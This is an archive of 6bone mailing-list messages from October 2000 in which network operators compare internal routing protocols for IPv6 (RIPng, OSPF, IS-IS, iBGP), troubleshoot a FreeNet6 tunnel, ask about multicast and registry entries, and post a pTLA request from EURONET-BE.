At this time, I only have a single box (a cisco-router) acting as
'gateway' to the 6bone; but I like to add redundancy to this; so I do need
to get rid of static routes.

>    - OSPF.
>    OK, I've seen RFCs on this, but are there already implementations off 
>    this?
> => at least one easy to find (Zebra).
As my 'central point' is a cisco-router, I would need it BOTH in cisco and
on the unix-boxes.

(I could use RIP to go to a unix-box and then use zebra to continue in
OSPF; but let's not make things more difficult then necessairy. ;-)

>    - EIGRP?
>    Does EIGRP exist for IPv6? As this is 'cisco-stuff', not supported on
>    unix-boxes, I guess.
> => it is a patented protocol too. And as far as I know there is no support
> for IPv6 even it should be easy to add.
OK. Bad idea.
Next!


>    - ISIS?
>    We used to do both OSI CLNS and IPv4 routing in this; so ... could IPv6 be
>    added? Are there implementations of this?
> => there are some plans about IPv6 support in the new IS-IS but not yet
> available.

If I remember correctly from the time I used this), one of the great
things about ISIS, is that you can use a single routing-protocol to carry
both OSI and IPv4 routing.

So, it would be great to use a single routing-protocol to carry both IPv4
and IPv6 routing.

Anycase, are there any implementations of ISIS on unix-boxes. (without the
v6-extensions, that is!)


>    - internal BGP?
> => *not* an IGP!
Technically speaking not, but you could use it as a IGP (just assign a
private AS-number to your 'customers').

Again the same remark:
This would have the advantage to use a single routing-protocol for both
v4 and v6 routing.


>    Supported by the unix-routers?
> => yes, BGP4+ for IPv6 is supported by many softwares (nearly as much
> supported as RIPng).
Great!

Cheerio! Kr. Bonne.
-- 
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Sat Oct 28 10:08:34 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6 
In-reply-to: Your message of Sat, 28 Oct 2000 18:44:50 +0200.
             <Pine.LNX.4.21.0010281821380.1091-100000@frigg.belbone.net> 
Date: Sat, 28 Oct 2000 19:08:43 +0200
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 In your previous mail you wrote:

   > => RIPng is RIPv2 with IPv6 support. Cheap but very limited...
   
   True, but I guess this is a first step.
   At least, it's better than static routing. ;-)
   
=> it is why RIPng is heavily used as an IGP today (for instance I use
it here). As far as you know the limits it is a good choice.

   > => there are some plans about IPv6 support in the new IS-IS but not yet
   > available.
   
   If I remember correctly from the time I used this), one of the great
   things about ISIS, is that you can use a single routing-protocol to carry
   both OSI and IPv4 routing.
   
=> this is the Ships-In-the-Night argument.

   So, it would be great to use a single routing-protocol to carry both IPv4
   and IPv6 routing.
   
=> perhaps, it really depends of the topology.

   Anycase, are there any implementations of ISIS on unix-boxes. (without the
   v6-extensions, that is!)
   
=> gated has/had one. The real problem is you need a CLNS support on your
Unix box (ie. a real old 4.4 BSD).

   >    - internal BGP?
   > => *not* an IGP!
   Technically speaking not, but you could use it as a IGP (just assign a
   private AS-number to your 'customers').
   
=> iBGP is a weak part of BGP, for instance the full mesh constraint is
a real pain (and confederation/reflectors nighmares).

   Again the same remark:
   This would have the advantage to use a single routing-protocol for both
   v4 and v6 routing.
   
=> I believe no implementation really does both on the same TCP connection
even this is possible (and capabilities give a way to negociate this,
this was a target of my co-author of RFC 2545, Pedro Roque).
   
Thanks

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Sat Oct 28 13:54:48 2000
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From: Ben Lovett <blovett@bsdguru.com>
To: 6bone@ISI.EDU
Subject: Problems getting FreeNet6's tunnel working
Message-ID: <20001028135501.A5658@bsdguru.com>
Reply-To: Ben Lovett <blovett@bsdguru.com>
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Hello,

I run FreeBSD 4.1.1-STABLE on a laptop.  My PPP connection consists of a
static IP, and when at school, I have a static IP.

Here's the problem, after running the perl script provided by Freenet6,
I am still unable to connect to the 6bone.  I do have the gif
interfaces, so that is not the problem.  But, here is what i get when
trying to ping any ipv6 host:

PING6(56=40+8+8 bytes) 3ffe:b00:c18:1fff::2c7 --> 3ffe:b00:c18:1fff::2c6
ping6: sendmsg: No route to host
ping6: wrote 3ffe:b00:c18:1fff::2c6 16 chars, ret=-1
ping6: sendmsg: No route to host
ping6: wrote 3ffe:b00:c18:1fff::2c6 16 chars, ret=-1

The perl script provided *SHOULD* set my routes properly, but, it seems
that it isn't.  Is there anyone available who can help me remedy this
problem?

Thanks,
Ben Lovett

From 6bone-owner  Sat Oct 28 15:58:18 2000
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From: Ben Lovett <blovett@bsdguru.com>
To: 6bone@ISI.EDU
Subject: Problems getting FreeNet6's tunnel working
Message-ID: <20001028155830.A11580@bsdguru.com>
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Hello,

I run FreeBSD 4.1.1-STABLE on a laptop.  My PPP connection consists of a
static IP, and when at school, I have a static IP.

Here's the problem, after running the perl script provided by Freenet6,
I am still unable to connect to the 6bone.  I do have the gif
interfaces, so that is not the problem.  But, here is what i get when
trying to ping any ipv6 host:

PING6(56=40+8+8 bytes) 3ffe:b00:c18:1fff::2c7 --> 3ffe:b00:c18:1fff::2c6
ping6: sendmsg: No route to host
ping6: wrote 3ffe:b00:c18:1fff::2c6 16 chars, ret=-1
ping6: sendmsg: No route to host
ping6: wrote 3ffe:b00:c18:1fff::2c6 16 chars, ret=-1

The perl script provided *SHOULD* set my routes properly, but, it seems
that it isn't.  Is there anyone available who can help me remedy this
problem?

Thanks,
Ben Lovett

From 6bone-owner  Sun Oct 29 01:48:16 2000
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Date: Sun, 29 Oct 2000 10:48:22 +0100
From: Jeroen Ruigrok van der Werven <jruigrok@via-net-works.nl>
To: Ben Lovett <blovett@bsdguru.com>
Cc: 6bone@ISI.EDU
Subject: Re: Problems getting FreeNet6's tunnel working
Message-ID: <20001029104822.A37055@lucifer.bart.nl>
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Organisation: VIA Net.Works The Netherlands
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Hi Ben,

-On [20001029 00:05], Ben Lovett (blovett@bsdguru.com) wrote:
>I run FreeBSD 4.1.1-STABLE on a laptop.  My PPP connection consists of a
>static IP, and when at school, I have a static IP.
>
>Here's the problem, after running the perl script provided by Freenet6,
>I am still unable to connect to the 6bone.  I do have the gif
>interfaces, so that is not the problem.  But, here is what i get when
>trying to ping any ipv6 host:

Can you give me ifconfig -a, gifconfig -a and netstat -rn -f inet6 ?

I think one problem is that for the gif interface the prefixlength needs
to be set to 128 instead of the 127 as was present in the script IIRC.

Expect some commits soon to CURRENT and subsequently STABLE so that
rc.conf can provide auto link set-up what the script now does.

-- 
Jeroen Ruigrok van der Werven          Network- and systemadministrator
<jruigrok@via-net-works.nl>            VIA Net.Works The Netherlands
BSD: Technical excellence at its best  http://www.via-net-works.nl
Cogito, ergo sum...

From 6bone-owner  Sun Oct 29 05:51:50 2000
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To: Kristoff Bonne <kristoff.bonne@skypro.be>
CC: Francis Dupont <Francis.Dupont@enst-bretagne.fr>, 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6
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Kristoff Bonne wrote:
> 
> Salutation/greetings, (also to everybody else who replied too)
> 
> >> Just a general question; for the moment, static routing works just
> >> fine, but what would be the best INTERNAL routing-protocol for a
> >> IPv6-network?
> >> (Looking into the possibility to have cisco-router or unix-boxes acting
> >> as routers).
> 
> >    - RIP-for-IPv6 (is this 'RIPv6' ???)?
> >    Is it just as limited at RIP on IPv4?
> > => RIPng is RIPv2 with IPv6 support. Cheap but very limited...
> 
> True, but I guess this is a first step.
> At least, it's better than static routing. ;-)

RIP is a funny thing , but not a trully routing protocol ... :)


> 
> At this time, I only have a single box (a cisco-router) acting as
> 'gateway' to the 6bone; but I like to add redundancy to this; so I do need
> to get rid of static routes.
> 
> >    - OSPF.
> >    OK, I've seen RFCs on this, but are there already implementations off
> >    this?
> > => at least one easy to find (Zebra).
> As my 'central point' is a cisco-router, I would need it BOTH in cisco and
> on the unix-boxes.
> 
> (I could use RIP to go to a unix-box and then use zebra to continue in
> OSPF; but let's not make things more difficult then necessairy. ;-)

Why u need to use RIP? OSPF is a good internal use routing protocol, but
we used with zebra , and sometimes zebra freezed our ciscos OSPF.
I don`t remember what sw version, but if sb would like to know i`ll see
it.


> 
> >    - EIGRP?
> >    Does EIGRP exist for IPv6? As this is 'cisco-stuff', not supported on
> >    unix-boxes, I guess.
> > => it is a patented protocol too. And as far as I know there is no support
> > for IPv6 even it should be easy to add.
> OK. Bad idea.
> Next!
> 
> >    - ISIS?
> >    We used to do both OSI CLNS and IPv4 routing in this; so ... could IPv6 be
> >    added? Are there implementations of this?
> > => there are some plans about IPv6 support in the new IS-IS but not yet
> > available.
> 
> If I remember correctly from the time I used this), one of the great
> things about ISIS, is that you can use a single routing-protocol to carry
> both OSI and IPv4 routing.
> 
> So, it would be great to use a single routing-protocol to carry both IPv4
> and IPv6 routing.
> 
> Anycase, are there any implementations of ISIS on unix-boxes. (without the
> v6-extensions, that is!)
> 
> >    - internal BGP?
> > => *not* an IGP!
> Technically speaking not, but you could use it as a IGP (just assign a
> private AS-number to your 'customers').
> 
> Again the same remark:
> This would have the advantage to use a single routing-protocol for both
> v4 and v6 routing.
> 
> >    Supported by the unix-routers?
> > => yes, BGP4+ for IPv6 is supported by many softwares (nearly as much
> > supported as RIPng).
> Great!
> 
> Cheerio! Kr. Bonne.
> --
> KB905-RIPE (HOME)                               belgacom internet backbone
> (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
> kristoff@belbone.net                            fax: +32 2 2435122

From 6bone-owner  Sun Oct 29 06:15:12 2000
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Date: Sun, 29 Oct 2000 06:15:23 -0800
From: Ben Lovett <blovett@bsdguru.com>
To: 6bone@ISI.EDU
Subject: Re: Problems getting FreeNet6's tunnel working
Message-ID: <20001029061523.A54617@bsdguru.com>
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Terribly sorry about posting this twice.  The first time, i recieved an
email saying that the message could not be sent for some reason..

-ben

From 6bone-owner  Sun Oct 29 08:31:30 2000
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Is there anyone out there doing multicast over ipv6 that would be
willing to set up a tunnel?

My IPv6 gateway (a FreeBSD box running zebra)  is at 199.117.25.252,
and currently does BGP with tunnels from Qwest and 3Com (using the
private AS 65517) with no default route.  Unfortunately neither
Qwest nor 3Com can do IPv6 multicast at this time.


thanx in advance,
brad

From 6bone-owner  Sun Oct 29 16:02:09 2000
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How are you?

For IPv6 network designers, they should consider IGP and EGP.
RIPv6 has some problems for using tunneling.
Using tunneling, 1 hop of RIPv6 can be multiple hops on IPv4 networks.

I don't think that IPv6 developers depend on cisco routers.
There are many commertial routers for IPv6.
(Ex: Hitachi GR2000, Errison Telebit, Juniper(will support) and so on)

For large networks, OSPF(link state, Dijkstra algorithm) is better than
RIP(distance vecter, Bellman-Ford algorithm).
And I'm considering IS-IS.

Thank you.



Peter Debreczeni wrote:

> Kristoff Bonne wrote:
> >
> > Salutation/greetings, (also to everybody else who replied too)
> >
> > >> Just a general question; for the moment, static routing works just
> > >> fine, but what would be the best INTERNAL routing-protocol for a
> > >> IPv6-network?
> > >> (Looking into the possibility to have cisco-router or unix-boxes acting
> > >> as routers).
> >
> > >    - RIP-for-IPv6 (is this 'RIPv6' ???)?
> > >    Is it just as limited at RIP on IPv4?
> > > => RIPng is RIPv2 with IPv6 support. Cheap but very limited...
> >
> > True, but I guess this is a first step.
> > At least, it's better than static routing. ;-)
>
> RIP is a funny thing , but not a trully routing protocol ... :)
>
> >
> > At this time, I only have a single box (a cisco-router) acting as
> > 'gateway' to the 6bone; but I like to add redundancy to this; so I do need
> > to get rid of static routes.
> >
> > >    - OSPF.
> > >    OK, I've seen RFCs on this, but are there already implementations off
> > >    this?
> > > => at least one easy to find (Zebra).
> > As my 'central point' is a cisco-router, I would need it BOTH in cisco and
> > on the unix-boxes.
> >
> > (I could use RIP to go to a unix-box and then use zebra to continue in
> > OSPF; but let's not make things more difficult then necessairy. ;-)
>
> Why u need to use RIP? OSPF is a good internal use routing protocol, but
> we used with zebra , and sometimes zebra freezed our ciscos OSPF.
> I don`t remember what sw version, but if sb would like to know i`ll see
> it.
>
> >
> > >    - EIGRP?
> > >    Does EIGRP exist for IPv6? As this is 'cisco-stuff', not supported on
> > >    unix-boxes, I guess.
> > > => it is a patented protocol too. And as far as I know there is no support
> > > for IPv6 even it should be easy to add.
> > OK. Bad idea.
> > Next!
> >
> > >    - ISIS?
> > >    We used to do both OSI CLNS and IPv4 routing in this; so ... could IPv6 be
> > >    added? Are there implementations of this?
> > > => there are some plans about IPv6 support in the new IS-IS but not yet
> > > available.
> >
> > If I remember correctly from the time I used this), one of the great
> > things about ISIS, is that you can use a single routing-protocol to carry
> > both OSI and IPv4 routing.
> >
> > So, it would be great to use a single routing-protocol to carry both IPv4
> > and IPv6 routing.
> >
> > Anycase, are there any implementations of ISIS on unix-boxes. (without the
> > v6-extensions, that is!)
> >
> > >    - internal BGP?
> > > => *not* an IGP!
> > Technically speaking not, but you could use it as a IGP (just assign a
> > private AS-number to your 'customers').
> >
> > Again the same remark:
> > This would have the advantage to use a single routing-protocol for both
> > v4 and v6 routing.
> >
> > >    Supported by the unix-routers?
> > > => yes, BGP4+ for IPv6 is supported by many softwares (nearly as much
> > > supported as RIPng).
> > Great!
> >
> > Cheerio! Kr. Bonne.
> > --
> > KB905-RIPE (HOME)                               belgacom internet backbone
> > (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
> > kristoff@belbone.net                            fax: +32 2 2435122

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Sun Oct 29 16:58:08 2000
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I am interested in joining the 6bone.  I am stuck on creating registry entries
though.  I am a residential user.  I don't know the format for a person object.
I see the mntner object format, but not one for the person object format. 
After I get those forms in I need to find a location on the 6bone to attach to
right?  Any information would be appreciated.

-Thanks

From 6bone-owner  Sun Oct 29 18:13:10 2000
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To: dante@tvnet.hu
Cc: kristoff.bonne@skypro.be, Francis.Dupont@enst-bretagne.fr, 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6
From: Yasuhiro Ohara <yasu@sfc.wide.ad.jp>
In-Reply-To: <39FC2B92.1102796C@tvnet.hu>
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dante> > >    - OSPF.
dante> > >    OK, I've seen RFCs on this, but are there already implementations off
dante> > >    this?
dante> > > => at least one easy to find (Zebra).
dante> > As my 'central point' is a cisco-router, I would need it BOTH in cisco and
dante> > on the unix-boxes.
dante> > 
dante> > (I could use RIP to go to a unix-box and then use zebra to continue in
dante> > OSPF; but let's not make things more difficult then necessairy. ;-)
dante> 
dante> Why u need to use RIP? OSPF is a good internal use routing protocol, but
dante> we used with zebra , and sometimes zebra freezed our ciscos OSPF.
dante> I don`t remember what sw version, but if sb would like to know i`ll see
dante> it.

I've never heard about an implementation of OSPFv3(OSPF for IPv6) in
Cisco. Are you talking about IPv4???

If I can test OSPFv3 with Cisco, I really want to.

     yasu@Zebra OSPFv3 developer


From 6bone-owner  Mon Oct 30 01:46:35 2000
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From: David Gethings <davidg@uk.uu.net>
To: Yasuhiro Ohara <yasu@sfc.wide.ad.jp>
cc: dante@tvnet.hu, kristoff.bonne@skypro.be, Francis.Dupont@enst-bretagne.fr,
        6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6
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If anyone is interested in Cisco's IPv6 Statement of Direction (which
answers many questions on this thead) then go to
http://www.cisco.com/ipv6/

It includes many useful things including the current beta IOS for several
hardware models.

Regards

-- 
David Gethings			UUNET, a Worldcom Company,
Network Activation Engineer	Internet House, 332 Science Park,
Email: davidg@uk.uu.net		Cambridge, CB4 0BZ, United Kingdom.
Phone: +44 (0)1223 581515	http://www.uk.uu.net/



From 6bone-owner  Mon Oct 30 05:13:07 2000
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CC: Yasuhiro Ohara <yasu@sfc.wide.ad.jp>, kristoff.bonne@skypro.be,
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Yasuhiro, here is an answer :)
thx David.


David Gethings wrote:
> 
> If anyone is interested in Cisco's IPv6 Statement of Direction (which
> answers many questions on this thead) then go to
> http://www.cisco.com/ipv6/
> 
> It includes many useful things including the current beta IOS for several
> hardware models.
> 
> Regards
> 
> --
> David Gethings                  UUNET, a Worldcom Company,
> Network Activation Engineer     Internet House, 332 Science Park,
> Email: davidg@uk.uu.net         Cambridge, CB4 0BZ, United Kingdom.
> Phone: +44 (0)1223 581515       http://www.uk.uu.net/

From 6bone-owner  Mon Oct 30 05:16:44 2000
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CC: Kristoff Bonne <kristoff.bonne@skypro.be>,
        Francis Dupont <Francis.Dupont@enst-bretagne.fr>, 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6
References: <Pine.LNX.4.21.0010281821380.1091-100000@frigg.belbone.net> <39FC2B92.1102796C@tvnet.hu> <39FCBB69.1ED4BFBB@kt.co.kr>
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ksb wrote:
> 
> How are you?

fine thx, and u?
why?

> 
> For IPv6 network designers, they should consider IGP and EGP.
> RIPv6 has some problems for using tunneling.
> Using tunneling, 1 hop of RIPv6 can be multiple hops on IPv4 networks.
> 
> I don't think that IPv6 developers depend on cisco routers.
> There are many commertial routers for IPv6.
> (Ex: Hitachi GR2000, Errison Telebit, Juniper(will support) and so on)
> 
> For large networks, OSPF(link state, Dijkstra algorithm) is better than
> RIP(distance vecter, Bellman-Ford algorithm).
> And I'm considering IS-IS.
> 
> Thank you.

i still told this 

> 
> Peter Debreczeni wrote:
> 
> > Kristoff Bonne wrote:
> > >
> > > Salutation/greetings, (also to everybody else who replied too)
> > >
> > > >> Just a general question; for the moment, static routing works just
> > > >> fine, but what would be the best INTERNAL routing-protocol for a
> > > >> IPv6-network?
> > > >> (Looking into the possibility to have cisco-router or unix-boxes acting
> > > >> as routers).
> > >
> > > >    - RIP-for-IPv6 (is this 'RIPv6' ???)?
> > > >    Is it just as limited at RIP on IPv4?
> > > > => RIPng is RIPv2 with IPv6 support. Cheap but very limited...
> > >
> > > True, but I guess this is a first step.
> > > At least, it's better than static routing. ;-)
> >
> > RIP is a funny thing , but not a trully routing protocol ... :)
> >
> > >
> > > At this time, I only have a single box (a cisco-router) acting as
> > > 'gateway' to the 6bone; but I like to add redundancy to this; so I do need
> > > to get rid of static routes.
> > >
> > > >    - OSPF.
> > > >    OK, I've seen RFCs on this, but are there already implementations off
> > > >    this?
> > > > => at least one easy to find (Zebra).
> > > As my 'central point' is a cisco-router, I would need it BOTH in cisco and
> > > on the unix-boxes.
> > >
> > > (I could use RIP to go to a unix-box and then use zebra to continue in
> > > OSPF; but let's not make things more difficult then necessairy. ;-)
> >
> > Why u need to use RIP? OSPF is a good internal use routing protocol, but
> > we used with zebra , and sometimes zebra freezed our ciscos OSPF.
> > I don`t remember what sw version, but if sb would like to know i`ll see
> > it.
> >
> > >
> > > >    - EIGRP?
> > > >    Does EIGRP exist for IPv6? As this is 'cisco-stuff', not supported on
> > > >    unix-boxes, I guess.
> > > > => it is a patented protocol too. And as far as I know there is no support
> > > > for IPv6 even it should be easy to add.
> > > OK. Bad idea.
> > > Next!
> > >
> > > >    - ISIS?
> > > >    We used to do both OSI CLNS and IPv4 routing in this; so ... could IPv6 be
> > > >    added? Are there implementations of this?
> > > > => there are some plans about IPv6 support in the new IS-IS but not yet
> > > > available.
> > >
> > > If I remember correctly from the time I used this), one of the great
> > > things about ISIS, is that you can use a single routing-protocol to carry
> > > both OSI and IPv4 routing.
> > >
> > > So, it would be great to use a single routing-protocol to carry both IPv4
> > > and IPv6 routing.
> > >
> > > Anycase, are there any implementations of ISIS on unix-boxes. (without the
> > > v6-extensions, that is!)
> > >
> > > >    - internal BGP?
> > > > => *not* an IGP!
> > > Technically speaking not, but you could use it as a IGP (just assign a
> > > private AS-number to your 'customers').
> > >
> > > Again the same remark:
> > > This would have the advantage to use a single routing-protocol for both
> > > v4 and v6 routing.
> > >
> > > >    Supported by the unix-routers?
> > > > => yes, BGP4+ for IPv6 is supported by many softwares (nearly as much
> > > > supported as RIPng).
> > > Great!
> > >
> > > Cheerio! Kr. Bonne.
> > > --
> > > KB905-RIPE (HOME)                               belgacom internet backbone
> > > (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
> > > kristoff@belbone.net                            fax: +32 2 2435122
> 
> --
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8279
>   E-mail :  ksbn@kt.co.kr
> --

From 6bone-owner  Mon Oct 30 09:41:26 2000
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Date: Mon, 30 Oct 2000 09:41:12 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: EURONET-BE 6bone pTLA request - closes 17 Nov
Cc: Francois Baligant <francois@be.wanadoo.com>
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EURONET-BE has requested a pTLA. The closing date for the comment period 
will be 17 November due to my travel schedule.  PLease send comments to me 
or the list.


Thanks,

Bob

===
>Date: Mon, 30 Oct 2000 18:30:25 +0100 (MET)
>From: Francois Baligant <francois@be.wanadoo.com>
>X-Sender:  <francois@caolila>
>To: <fink@es.net>
>Subject: pTLA request for EURONET-BE
>
>
>         Hi, here is Francois Baligant from Wanadoo/Euronet Belgium.
>
>         We would like to request a test pTLA on the 6bone.
>
>         Here is how we comply to draft-ietf-ngtrans-harden-04
>
> >  1.  The pTLA Applicant must have a minimum of three (3) months
> >      qualifying experience as a 6Bone end-site or pNLA transit.
> >      During the entire qualifying period the Applicant must be
> >      operationally providing the following:
>
>         We have sub-TLA 3ffe:2501:200::/48 since July 1999 from
>         NLNET and 3FFE:80C0:221::/48 from Stealth USA.
>
> >     a. Fully maintained, up to date, 6Bone Registry entries for their
> >         ipv6-site inet6num, mntner, and person objects, including each
> >         tunnel that the Applicant has.
>
>         see EURONET-BE object
>
> >      b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >         between the Applicant's boundary router and the appropriate
> >         connection point into the 6Bone. This router must be IPv6
> >         pingable. This criteria is judged by members of the 6Bone
> >         Operations Group at the time of the Applicant's pTLA request.
>
>         Our router (cisco 4500 running IPv6 IOS) is m6.ipv6.euronet.be.
>         (3ffe:2501:200:1fff::1)
>
>tunnel:       NLNET STATIC
>tunnel:       BELNET-BE BGP4+
>tunnel:       STEALTH BGP4+
>tunnel:       AMS-IX-INTOUCH BGP4+
>tunnel:       DE-TRMD-20000317 BGP4+
>tunnel:       TVD BGP4+
>
>         We requested several times from NLNET to start using BGP on our
>         tunnel to BGP4 without success. It looks they are too busy
>         renumbering for some time now. However our tunnel to
>         Stealth for 3FFE:80C0:221::/48 use BGP4+
>
> >      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >         entries for the Applicant's router(s) and at least one host
> >         system.
>
>         We have 2 IPv6 zone (ipv6.euronet.be and ipv6.wanadoo.be)
>         will A/AAAA records for all our IPv6 capable devices.
>
>m6.ipv6.euronet.be      canonical name = gate.ipv6.euronet.be
>gate.ipv6.euronet.be    IPv6 address = 3ffe:2501:200:1fff::1
>
>www.ipv6.euronet.be     IPv6 address = 3ffe:2501:200:2::2
>ircnet.wanadoo.be       IPv6 address = 3ffe:2501:200:1fff::16
>
> >      d. A fully maintained, and reliable, IPv6-accessible system
> >         providing, at a mimimum, one or more web pages, describing the
> >         Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>         Since August 1999, we run the popular and well-linked
>         around the world http://www.ipv6.euronet.be (IPv4+IPv6
>         accessible) with configuration information, some MRTG,
>         complete ping/traceroute/BGP4+ looking-glass, IRC6
>         information.
>
>         And since September 2000 we also runs ircnet.wanadoo.be
>         an IPv4 and IPv6 capable IRC server linked to IRCnet
>         accepting clients from the 6bone.
>
>         Also, email @ipv6.euronet.be are handled by an IPv6 capable
>         sendmail. ftp.ipv6.euronet.be is available too.
>
> >  2.  The pTLA Applicant MUST have the ability and intent to provide
> >      "production-quality" 6Bone backbone service. Applicants must
> >      provide a statement and information in support of this claim.
> >      This MUST include the following:
>
> >      a. A support staff of two persons minimum, three preferable, with
> >         person attributes registered for each in the ipv6-site object
> >         for the pTLA applicant.
>
>         Francois Baligant (FB1-6BONE)
>         Xavier Mertens (XM1-6BONE)
>
> >      b. A common mailbox for support contact purposes that all support
> >         staff have acess to, pointed to with a notify attribute in the
> >         ipv6-site object for the pTLA Applicant.
>
>remarks:      For tunnel/peering requests, contact 
><ipv6-operator@ipv6.euronet.be>
>notify:       6bone-notify@euronet.be
>
> >  3.  The pTLA Applicant MUST have a potential "user community" that
> >      would be served by its becoming a pTLA, e.g., the Applicant is a
> >      major provider of Internet service in a region, country, or
> >      focus of interest. Applicant must provide a statement and
> >      information in support this claim.
>
>EuroNet Internet (100% part of the France Telecom Group) is a major ISP on
>the Belgian market. We provide Internet services to customers (private,
>soho and business) through a whole services offer (dialup, leased line,
>cable, ADSL, housing, hosting, consultancy). We develop the Wanadoo
>product line on the Belgian market via connectivity services and a portal
>(www.wanadoo.be).
>
>It is our intent to help our customers (from any kind) migrate to
>IPv6 using:
>
>         - dedicated IPv6 NAS for PPP6 (dialup, already up & running)
>         - tunnel from our IPv6 core router to customers sites
>         (several already established)
>         - Tunnel Broker for dynamic IP customers
>         (almost done, waiting for pTLA to put in production)
>
> >  4.  The pTLA Applicant MUST commit to abide by the current 6Bone
> >      operational rules and policies as they exist at time of its
> >      application, and agree to abide by future 6Bone backbone
> >      operational rules and policies as they evolve by consensus of the
> >      6Bone backbone and user community.
>
>         We commit to abide to the current and futre 6Bone operational
>         rules and policies.
>
>         Feel free to contact me if you feel something is missing.
>
>         regards,
>         Francois
>
>Francois Baligant            * *       Wanadoo Belgium NV/SA
>Network Operation Center   *     *     a subsidiary of France Telecom
>                           *            Lozenberg 22 - B-1932 Zaventem
>FB1-6BONE                *             tel: +32 2 717 17 17
>francois@be.wanadoo.com                fax: +32 2 717 17 77



From 6bone-owner  Mon Oct 30 10:50:21 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
X-Sender: skypro@frigg.belbone.net
To: David Gethings <davidg@uk.uu.net>
Cc: 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6
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Greetings,

On Fri, 27 Oct 2000, David Gethings wrote:
>> Just a general question; for the moment, static routing works just
>> fine, but what would be the best INTERNAL routing-protocol for a
>> IPv6-network?
>> (Looking into the possibility to have cisco-router or unix-boxes acting as
>> routers).
(...)

> Cisco have a statement of direction regarding IPv6. You can find it, and
> other useful things, at http://www.cisco.com/ipv6/
> This should answer all you Cisco related questions.
Thanks,

Well, I printed this document when I started to take a look at IPv6; but I
guess it got lost in-between the two-hunderd-and-odd pages of RFCs. ;-)

Cheerio! Kr. Bonne.
-- 
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Mon Oct 30 10:50:22 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
X-Sender: skypro@frigg.belbone.net
To: huntting@glarp.com
Cc: 6bone@ISI.EDU
Subject: Re: pim6sm
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Greetings,

On Sun, 29 Oct 2000 huntting@glarp.com wrote:
> Is there anyone out there doing multicast over ipv6 that would be
> willing to set up a tunnel?
> My IPv6 gateway (a FreeBSD box running zebra)  is at 199.117.25.252,
> and currently does BGP with tunnels from Qwest and 3Com (using the
> private AS 65517) with no default route.  Unfortunately neither
> Qwest nor 3Com can do IPv6 multicast at this time.
???

Isn't IP-multicasting a default feature of IPv6?
Do you need to configure something special to enable IP-multicasting for
IPv6?

Cheerio! Kr. Bonne.
-- 
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Mon Oct 30 10:50:23 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
X-Sender: skypro@frigg.belbone.net
To: ksb <ksbn@kt.co.kr>
Cc: 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6
In-Reply-To: <39FCBB69.1ED4BFBB@kt.co.kr>
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Greetings,

On Mon, 30 Oct 2000, ksb wrote:
> For IPv6 network designers, they should consider IGP and EGP.
True, hence my question. ;-)

> I don't think that IPv6 developers depend on cisco routers.
> There are many commertial routers for IPv6.
> (Ex: Hitachi GR2000, Errison Telebit, Juniper(will support) and so on)
Sometimes, I don't get to choose.
We have half a rack of old 'excess' cisco-routers just laying around; you
can use without having to fill in 20 papers to 'justify' the cost to the
management.  ;-)

> For large networks, OSPF(link state, Dijkstra algorithm) is better than
> RIP(distance vecter, Bellman-Ford algorithm).
True, but -as OSPF is not yet supported for v6 on cisco-, there only is
RIP is an option (for the time being).

> And I'm considering IS-IS.
If implementations would exist (for cisco and unix); so would I. ;-)

Cheerio! Kr. Bonne.
-- 
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122



From 6bone-owner  Mon Oct 30 10:50:24 2000
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To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
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Subject: Re: internal routing-protocols for IPv6 
In-Reply-To: <200010281708.TAA30058@givry.rennes.enst-bretagne.fr>
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Greetings,

>> => RIPng is RIPv2 with IPv6 support. Cheap but very limited...
> True, but I guess this is a first step.
> At least, it's better than static routing. ;-)
>> => it is why RIPng is heavily used as an IGP today (for instance I use
>> it here). As far as you know the limits it is a good choice.
(...)
>> => iBGP is a weak part of BGP, for instance the full mesh constraint is
>> a real pain (and confederation/reflectors nighmares).


To start, I was thinking of the following topology:
- two 'backbone-node' where we pull in the tunnels from the 6bone. (two
nodes, for redundancy)
- From those 'backbone-nodes', tunnels towards the 'internal' networks.

I would like to use both cisco-routers and unix-routers for this.

So, I guess I have two options: RIPng and BGP.
(I'll try both to see what turns out to be best).


>> If I remember correctly from the time I used this), one of the great
>> things about ISIS, is that you can use a single routing-protocol to
>> carry both OSI and IPv4 routing.
> => this is the Ships-In-the-Night argument.
